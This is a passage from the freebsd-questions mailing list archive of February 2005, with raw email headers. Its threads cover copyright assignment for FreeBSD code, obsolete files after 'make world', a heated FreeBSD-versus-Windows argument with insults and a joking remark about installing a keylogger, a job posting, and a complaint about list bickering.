NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 11:54:33 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Anthony > Atkielski > Sent: Saturday, February 12, 2005 3:46 AM > To: freebsd-questions@freebsd.org > Subject: Re: Why in the world you should have a vote: was RE: Please > don'tchange Beastie to another crap logo suchas NetBSD!!! > > > > It surprises and worries me that anyone does it, for precisely the > reasons that you describe. Should I ever contribute code to FreeBSD, > I'll just assign the copyright, or release the code to the public > domain. I have to wonder about the motivations of someone who says he > wants to contribute to a Great Cause but then insists on retaining his > copyright. > I'm sure in those instances that there's nothing wrong, but I am concerned that there doesen't seem to be effort to disclosing the copyrights in a central and obvious location. (and no, buried in a readme file that is written to the root of the installed filesystem isn't where I'm talking about. We don't want to put up any speed bumps to a company that wants to use the code in a product. I did know about the networking code, I've seen those other copyrights before. But I didn't know that it had got further than that. > Remember that in some jurisdictions, copyright reverts to the author > after a certain number of years, no matter what he says to the > contrary. > This includes the U.S.; see 17 USC 203. > Whic could probably be got around easily by having the FreeBSD foundation pay him a dollar for software development, in which case he can simply say the entire project is a work for hire. Ted From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 11:59:15 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2068416A4CE for ; Sat, 12 Feb 2005 11:59:15 +0000 (GMT) Received: from av9-2-sn4.m-sp.skanova.net (av9-2-sn4.m-sp.skanova.net [81.228.10.107]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2051843D2F for ; Sat, 12 Feb 2005 11:59:14 +0000 (GMT) (envelope-from ertr1013@student.uu.se) Received: by av9-2-sn4.m-sp.skanova.net (Postfix, from userid 502) id F044437E51; Sat, 12 Feb 2005 12:59:12 +0100 (CET) Received: from smtp4-1-sn4.m-sp.skanova.net (smtp4-1-sn4.m-sp.skanova.net [81.228.10.181]) by av9-2-sn4.m-sp.skanova.net (Postfix) with ESMTP id E0FFC37E4D for ; Sat, 12 Feb 2005 12:59:12 +0100 (CET) Received: from falcon.midgard.homeip.net (h201n1fls24o1048.bredband.comhem.se [212.181.162.201]) by smtp4-1-sn4.m-sp.skanova.net (Postfix) with SMTP id ACFAC37E4A for ; Sat, 12 Feb 2005 12:59:12 +0100 (CET) Received: (qmail 22261 invoked by uid 1001); 12 Feb 2005 11:59:11 -0000 Date: Sat, 12 Feb 2005 12:59:11 +0100 From: Erik Trulsson To: Fafa Diliha Romanova Message-ID: <20050212115911.GA22252@falcon.midgard.homeip.net> Mail-Followup-To: Fafa Diliha Romanova , questions@freebsd.org References: <20050212115006.703D94BDAA@ws1-1.us4.outblaze.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20050212115006.703D94BDAA@ws1-1.us4.outblaze.com> User-Agent: Mutt/1.5.6i cc: questions@freebsd.org Subject: Re: make world: HOW CLEAN IS IT? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 11:59:15 -0000 On Sat, Feb 12, 2005 at 06:50:06AM -0500, Fafa Diliha Romanova wrote: > hello > > when i rebuild my system to stay up to date, > does it leave behind many obsolete files to clog up > my pure system? No, not normally. Obsolete files are not removed by the normal updating process, but there are normally very few (if any) such files. > > i am *VERY* conscious on cleanliness; > > does freebsd keep track of absolutely EVERY file > it creates? Nope, it mostly doesn't keep track of them at all. -- Erik Trulsson ertr1013@student.uu.se From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 12:00:10 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 61AE416A4CE for ; Sat, 12 Feb 2005 12:00:10 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0360643D3F for ; Sat, 12 Feb 2005 12:00:10 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id 936581C0009F for ; Sat, 12 Feb 2005 13:00:08 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id 7C34B1C0009C for ; Sat, 12 Feb 2005 13:00:08 +0100 (CET) X-ME-UUID: 20050212120008508.7C34B1C0009C@mwinf1104.wanadoo.fr Date: Sat, 12 Feb 2005 13:00:05 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1087470832.20050212130005@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <1546398643.20050212123202@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Freebsd vs. linux X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 12:00:10 -0000 Ted Mittelstaedt writes: > Hmm - perhaps if you took a couple weeks off posting to the mailing list, > you might have the time... ;-) I do that on most weekends, but each weekend is different. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 12:03:09 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 34EEC16A4CE for ; Sat, 12 Feb 2005 12:03:09 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id E567743D1D for ; Sat, 12 Feb 2005 12:03:08 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1103.wanadoo.fr (SMTP Server) with ESMTP id 15CE71C000A6 for ; Sat, 12 Feb 2005 13:03:08 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1103.wanadoo.fr (SMTP Server) with ESMTP id EBF1A1C0009F for ; Sat, 12 Feb 2005 13:03:07 +0100 (CET) X-ME-UUID: 20050212120307966.EBF1A1C0009F@mwinf1103.wanadoo.fr Date: Sat, 12 Feb 2005 13:03:07 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1198432873.20050212130307@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <163678746.20050212124602@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Why in the world you should have a vote: was RE: Please don'tchange Beastie to another crap logo suchas NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 12:03:09 -0000 Ted Mittelstaedt writes: > Whic could probably be got around easily by having the FreeBSD foundation > pay him a dollar for software development, in which case he can simply > say the entire project is a work for hire. No. The developer has to have a bona fide employee relationship; that is, FreeBSD would have to deduct FICA, set working hours, and so on--all of the things that characterize a bona fide employee. Otherwise he's just a consultant. Of course, the developer can explicitly agree to treat the coding as work for hire in writing, but if he insists on keeping his copyright, I suppose he wouldn't be willing to do such a thing. Unfortunately, even if he licenses the coding in perpetuity to FreeBSD, he can still change his mind later and revoke the license, as can his heirs. Therefore the copyright must be assigned, or the work must be released to the public domain. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 12:03:12 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D8CDE16A4F9 for ; Sat, 12 Feb 2005 12:03:12 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 63C9A43D1F for ; Sat, 12 Feb 2005 12:03:12 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1CC3Fj33970 for ; Sat, 12 Feb 2005 04:03:15 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: Date: Sat, 12 Feb 2005 04:03:13 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <1118428918.20050212124140@wanadoo.fr> Importance: Normal Subject: RE: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 12:03:13 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Anthony > Atkielski > Sent: Saturday, February 12, 2005 3:42 AM > To: freebsd-questions@freebsd.org > Subject: Re: Instead of freebsd.com, why not... > > > I can go months without rebooting. My NT machine has gone for nearly a > year without a reboot. That is really stupid since there's been many security patches that have come out in the last year that require rebooting during their install. If your NT system touches a network that touches the Internet, it needs to be patched to current levels. Failing to do this means you have a lack of consideration for the rest of us on the Internet, as unpatched Windows systems are the single greatest source of viruses and spam and attacks and other trouble on the Internet today. I suppose you don't fix the catalyatic converter on your car when it ruptures, either. > > Fragmentation is difficult to avoid entirely, but some file systems are > better at dealing with it than others. NTFS is no worse than UNIX in > this respect, as far as I can tell, Yes it is. That is why Diskkeeper is standard for all NTFS servers that exist within Microsoft. Another little Microsoft secret for Microsquish employees and their friends. > > Emotional assertions don't persuade me, and you need not feel sorry for > me, as everything runs perfectly here. > Except that your not patching, and worse you announced your running unpatched windows systems on a public forum - hmm, let's see if I can get that keyboard capture program installed on your system before the others do.... Ted From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 12:03:45 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 07F4716A4CE for ; Sat, 12 Feb 2005 12:03:45 +0000 (GMT) Received: from top.daemonsecurity.com (FW-182-254.go.retevision.es [62.174.254.182]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7E5D643D31 for ; Sat, 12 Feb 2005 12:03:44 +0000 (GMT) (envelope-from norgaard@locolomo.org) Received: from [192.168.0.32] (charm.daemonsecurity.com [192.168.0.32]) by top.daemonsecurity.com (Postfix) with ESMTP id 57692FD020; Sat, 12 Feb 2005 13:03:43 +0100 (CET) Message-ID: <420DF09E.6010008@locolomo.org> Date: Sat, 12 Feb 2005 13:03:42 +0100 From: Erik Norgaard User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.5) Gecko/20050127 X-Accept-Language: en, en-us, da, it, es MIME-Version: 1.0 To: Tod Vanlandingham References: <200502120250.j1C2oVGW011262@216-239-45-4.google.com> In-Reply-To: <200502120250.j1C2oVGW011262@216-239-45-4.google.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@FreeBSD.org Subject: Re: (Google) Sr. Linux/Unix Release Engineer Opening X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 12:03:45 -0000 Tod Vanlandingham wrote: > Please let me know if you are open to posting the job description below. I > am currently looking for a Sr. Linux/Unix Release Engineer and would be very > grateful is you could pass this information along to your UG members. While you certainly hit a broader audience here, I think you should post to freebsd-jobs at freebsd.org (also). Cheers, Erik -- Ph: +34.666334818 web: http://www.locolomo.org S/MIME Certificate: http://www.locolomo.org/crt/2004071206.crt Subject ID: A9:76:7A:ED:06:95:2B:8D:48:97:CE:F2:3F:42:C8:F2:22:DE:4C:B9 Fingerprint: 4A:E8:63:38:46:F6:9A:5D:B4:DC:29:41:3F:62:D3:0A:73:25:67:C2 From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 12:04:36 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4E4D916A4CE for ; Sat, 12 Feb 2005 12:04:36 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id E15BD43D2F for ; Sat, 12 Feb 2005 12:04:35 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1CC4cj33998 for ; Sat, 12 Feb 2005 04:04:38 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: Date: Sat, 12 Feb 2005 04:04:37 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <1087470832.20050212130005@wanadoo.fr> Importance: Normal Subject: RE: Freebsd vs. linux X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 12:04:36 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Anthony > Atkielski > Sent: Saturday, February 12, 2005 4:00 AM > To: freebsd-questions@freebsd.org > Subject: Re: Freebsd vs. linux > > > Ted Mittelstaedt writes: > > > Hmm - perhaps if you took a couple weeks off posting to the > mailing list, > > you might have the time... ;-) > > I do that on most weekends, but each weekend is different. > S.O. on vacation? Ted From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 12:07:17 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A2A8D16A4CE for ; Sat, 12 Feb 2005 12:07:17 +0000 (GMT) Received: from out007.verizon.net (out007pub.verizon.net [206.46.170.107]) by mx1.FreeBSD.org (Postfix) with ESMTP id 376CA43D1F for ; Sat, 12 Feb 2005 12:07:17 +0000 (GMT) (envelope-from reso3w83@verizon.net) Received: from ringworm.mechee.com ([4.26.84.7]) by out007.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20050212120715.CVDX11919.out007.verizon.net@ringworm.mechee.com> for ; Sat, 12 Feb 2005 06:07:15 -0600 Received: by ringworm.mechee.com (Postfix, from userid 1001) id 01E592CE740; Sat, 12 Feb 2005 04:02:58 -0800 (PST) From: "Michael C. Shultz" To: freebsd-questions@freebsd.org Date: Sat, 12 Feb 2005 04:02:55 -0800 User-Agent: KMail/1.7.1 References: <200502120318.18929.reso3w83@verizon.net> <1118428918.20050212124140@wanadoo.fr> In-Reply-To: <1118428918.20050212124140@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502120402.56761.reso3w83@verizon.net> X-Authentication-Info: Submitted using SMTP AUTH at out007.verizon.net from [4.26.84.7] at Sat, 12 Feb 2005 06:07:15 -0600 Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 12:07:17 -0000 On Saturday 12 February 2005 03:41 am, Anthony Atkielski wrote: > Michael C. Shultz writes: > > What about the other 12000 ports? How do they do in windows? > > I don't know, since I don't need or use them. That was obvious by your confusion with Firefox an opera for example. You admit you don't know what is in ports yet feel it is OK to say FreeBSD is a poor desktop? Ever heard the saying "better to remain silent and thought a fool....."? > > > Likely there is a *FREE* port for most of what you listed above. > > No, there isn't. These software products run only on Windows, > generally speaking. A few exist in Mac versions as well. Virtually > none exist for any flavor of UNIX or UNIX-like operating systems. How do you know? You just admitted you don't use what is in ports... > > I have to run these applications for work and play. I therefore > cannot use any operating system that doesn't support them on the > desktop. > > > And if you wish to donate half of what you paid for each of those > > listed programs there would likely be a port author willing to > > customize/improve their port version just for you..... > > Why would I do that? They already run on Windows. Why would you say FreeBSD is a poor desktop when your only desktop experience is with windows? > > > At best windows can run two or three major applications at once > > before it pukes. > > I routinely have two dozen applications running under Windows, and > depending on memory available and required, it can easily run several > times that, or more. Bullshit. > > > On my lowly 256meg 1Gz machine I have 18 desktops, in those 18 > > desktops I normally have 3 to 4 major apps running, in two desk > > tops I have 2 terms with 4 tabs each running programs, and a > > handful of documents opened in the other desk tops. > > On my 1.8 GHz 1.5 GB machine, I have one desktop that can run > everything. Bullshit > > > With all that going on in the foreground, in the background all of > > my apps are being automatically and continuously updated. > > I never allow anything on my machines to be automatically updated. I > perform all updates myself, explicitly, and I never update anything > unless I have to. I don't blame you, when something goes wrong on a Windows system the solution is usually to reinstall everything. FreeBSD is a bit more robust than that. On this point I guess you'll have to take my word seeing as you have no experience with FreeBSD as a desktop.... Why do you feel you are qualified to say FreeBSD is a poor desktop again? > > > When I want a break from work I open a move with mplayer and watch > > it with out worrying about shutting anything else down, and if I > > need a music fix, xmms solves it. > > I can watch DVDs and listen to music even with dozens of applications > running. bullshit > > > Sometimes I'll go two weeks before rebooting. > > I can go months without rebooting. My NT machine has gone for nearly > a year without a reboot. I don't remember ever seeing a system crash > on my XP system, and I've only seen a handful of crashes on the NT > system (all because of bad drivers). bullshit. You are a flat out liar friend. > > > It was like going through withdrawl, not > > being able to defrag my drives, took a few years before I finally > > believed not all file systems frag themselves to death. > > Fragmentation is difficult to avoid entirely, but some file systems > are better at dealing with it than others. NTFS is no worse than > UNIX in this respect, as far as I can tell, although my guess is that > UNIX is probably superior, if there really is a difference (because > UNIX has been around for quite a while and seems to work pretty well > without defragmentation). NTFS frags, and slows down noticeably if you fail to defrag it. I'll assume your line of work is not database related... > > > Windows is crap, I feel sorry for you that you have to use it. > > Emotional assertions don't persuade me, and you need not feel sorry > for me, as everything runs perfectly here. I'm sure it does, in your dreams. -Mike From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 12:09:34 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 34F6E16A4CF for ; Sat, 12 Feb 2005 12:09:34 +0000 (GMT) Received: from smtp9.wanadoo.fr (smtp9.wanadoo.fr [193.252.22.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id A115D43D3F for ; Sat, 12 Feb 2005 12:09:33 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf0908.wanadoo.fr (SMTP Server) with ESMTP id 89FEB1C00144 for ; Sat, 12 Feb 2005 13:09:32 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf0908.wanadoo.fr (SMTP Server) with ESMTP id 638841C00141 for ; Sat, 12 Feb 2005 13:09:32 +0100 (CET) X-ME-UUID: 20050212120932407.638841C00141@mwinf0908.wanadoo.fr Date: Sat, 12 Feb 2005 13:09:31 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <478098168.20050212130931@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <1118428918.20050212124140@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 12:09:34 -0000 Ted Mittelstaedt writes: > That is really stupid since there's been many security patches that have > come out in the last year that require rebooting during their install. My NT machine does not require them. > If your NT system touches a network that touches the Internet, it needs > to be patched to current levels. It doesn't touch anything. > Failing to do this means you have a > lack of consideration for the rest of us on the Internet, as unpatched > Windows systems are the single greatest source of viruses and spam and > attacks and other trouble on the Internet today. A system that isn't exposed to the Internet is not vulnerable to direct attacks, and prudent use of the system renders it invulnerable to indirect attacks (clicking on infected e-mail, for example). This particular system hardly does anything right now; it supports a handful of legacy apps, and that's all. > I suppose you don't fix the catalyatic converter on your car when > it ruptures, either. I don't have a car. > Yes it is. That is why Diskkeeper is standard for all NTFS servers that > exist within Microsoft. Another little Microsoft secret for Microsquish > employees and their friends. I never saw much of a difference after running defrag on NTFS, so I don't do it much anymore. > Except that your not patching, and worse you announced your running > unpatched windows systems on a public forum ... No, I'm not. > - hmm, let's see if I can get that keyboard capture program installed > on your system before the others do.... Since I have just about everything disabled--no Javascript, no ActiveX, no Java, no HTML--that might be difficult. I never execute attachments, and none of the software I have will execute attachments implicitly. I've installed the patches for the JPEG vulnerability. As I've said, the only virus infection I've ever had was on FreeBSD. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 12:10:08 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4117C16A4CE for ; Sat, 12 Feb 2005 12:10:08 +0000 (GMT) Received: from smtp9.wanadoo.fr (smtp9.wanadoo.fr [193.252.22.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id 03AFD43D41 for ; Sat, 12 Feb 2005 12:10:08 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf0908.wanadoo.fr (SMTP Server) with ESMTP id 646801C00146 for ; Sat, 12 Feb 2005 13:10:07 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf0908.wanadoo.fr (SMTP Server) with ESMTP id 4ECD11C00128 for ; Sat, 12 Feb 2005 13:10:07 +0100 (CET) X-ME-UUID: 20050212121007322.4ECD11C00128@mwinf0908.wanadoo.fr Date: Sat, 12 Feb 2005 13:09:55 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1845732846.20050212130955@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <1087470832.20050212130005@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Freebsd vs. linux X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 12:10:08 -0000 Ted Mittelstaedt writes: > S.O. on vacation? I don't take vacation. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 12:10:16 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A338616A4CE for ; Sat, 12 Feb 2005 12:10:16 +0000 (GMT) Received: from out003.verizon.net (out003pub.verizon.net [206.46.170.103]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3CD6143D3F for ; Sat, 12 Feb 2005 12:10:16 +0000 (GMT) (envelope-from reso3w83@verizon.net) Received: from ringworm.mechee.com ([4.26.84.7]) by out003.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20050212121015.WBOZ7729.out003.verizon.net@ringworm.mechee.com> for ; Sat, 12 Feb 2005 06:10:15 -0600 Received: by ringworm.mechee.com (Postfix, from userid 1001) id 993C92CE740; Sat, 12 Feb 2005 04:06:00 -0800 (PST) From: "Michael C. Shultz" To: freebsd-questions@freebsd.org Date: Sat, 12 Feb 2005 04:05:58 -0800 User-Agent: KMail/1.7.1 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502120405.59468.reso3w83@verizon.net> X-Authentication-Info: Submitted using SMTP AUTH at out003.verizon.net from [4.26.84.7] at Sat, 12 Feb 2005 06:10:15 -0600 Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 12:10:16 -0000 On Saturday 12 February 2005 03:44 am, Ted Mittelstaedt wrote: > > -----Original Message----- > > From: owner-freebsd-questions@freebsd.org > > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Michael C. > > Shultz > > Sent: Saturday, February 12, 2005 3:18 AM > > To: freebsd-questions@freebsd.org > > Subject: Re: Instead of freebsd.com, why not... > > > > > > > > What about the other 12000 ports? How do they do in windows? > > > > Likely there is a *FREE* port for most of what you listed above. > > And if you wish to donate half of what you paid for each of those > > listed programs > > Ah, but that is the rub, methinks. Even if our Anthony is squeaky > clean and paid for every one of those apps, there are so many many > others who don't pay a dime for their Windows applications because > they steal copies of them from their friends. > > That is one of the dirty little secrets about Windows you know. > Price for price, for a great many people, the costs are equal. > > And not to mention all the people who got their copies legally > yet paid nothing for them - because they happened to work at > a company that has a Microsoft Site license. As those of you > know who have dealt with such things, the site licenses that > Microsquish writes for companies over 100 head all contain > language that -explicitly- allows any employee to make and install > copies of the site-licensed software that they use at work, on > their home PC. And in some cases the companies don't even > have to be that big to get one of these. > > Ted Ted, one thing I've noticed in my years of computing, there is no shortage of stupid people. I thank god they gravitate towards windows and away from me. ;) -Mike From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 12:10:30 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2DEDA16A4D0 for ; Sat, 12 Feb 2005 12:10:30 +0000 (GMT) Received: from makeworld.com (makeworld.com [198.92.228.38]) by mx1.FreeBSD.org (Postfix) with ESMTP id BABD943D1D for ; Sat, 12 Feb 2005 12:10:27 +0000 (GMT) (envelope-from racerx@makeworld.com) Received: from localhost (localhost.com [127.0.0.1]) by makeworld.com (Postfix) with ESMTP id 230E96110 for ; Sat, 12 Feb 2005 06:10:27 -0600 (CST) Received: from makeworld.com ([127.0.0.1]) by localhost (makeworld.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 22653-08 for ; Sat, 12 Feb 2005 06:10:24 -0600 (CST) Received: from [198.92.228.34] (racerx.makeworld.com [198.92.228.34]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by makeworld.com (Postfix) with ESMTP id 6BD936129 for ; Sat, 12 Feb 2005 06:10:24 -0600 (CST) Message-ID: <420DF23C.2030008@makeworld.com> Date: Sat, 12 Feb 2005 06:10:36 -0600 From: Chris User-Agent: Mozilla Thunderbird 1.0 (X11/20050101) X-Accept-Language: en-us, en MIME-Version: 1.0 To: FreeBSD - Questions Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by ClamAV 0.75.1/amavisd-new-2.2.1 (20041222) at makeworld.com - Isn't it ironic Subject: OT: My thoughts on the list as of late... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 12:10:30 -0000 As I read *some* (mainly because there is far too much crap going in, and not enough decent content coming out) of the postings, I reflect back on my personal views on mankind as a whole. Being of a cynical nature - I tend to look at things with a "there must be a reason for this influx of crapoloa in". I come up with, divide and conquer. I'm starting to see a pattern in this list. Far too many users bickering about; 1. FreeBSD vs. (insert OS here) 2. 4.xx is better then 5.xx 3. Ports are crappy compared to ... 4. Too many dependencies compared to ... 5. FreeBSD is on SORBS ... what next? Etc. etc. etc. I suppose this could be just one big pissing contest, then 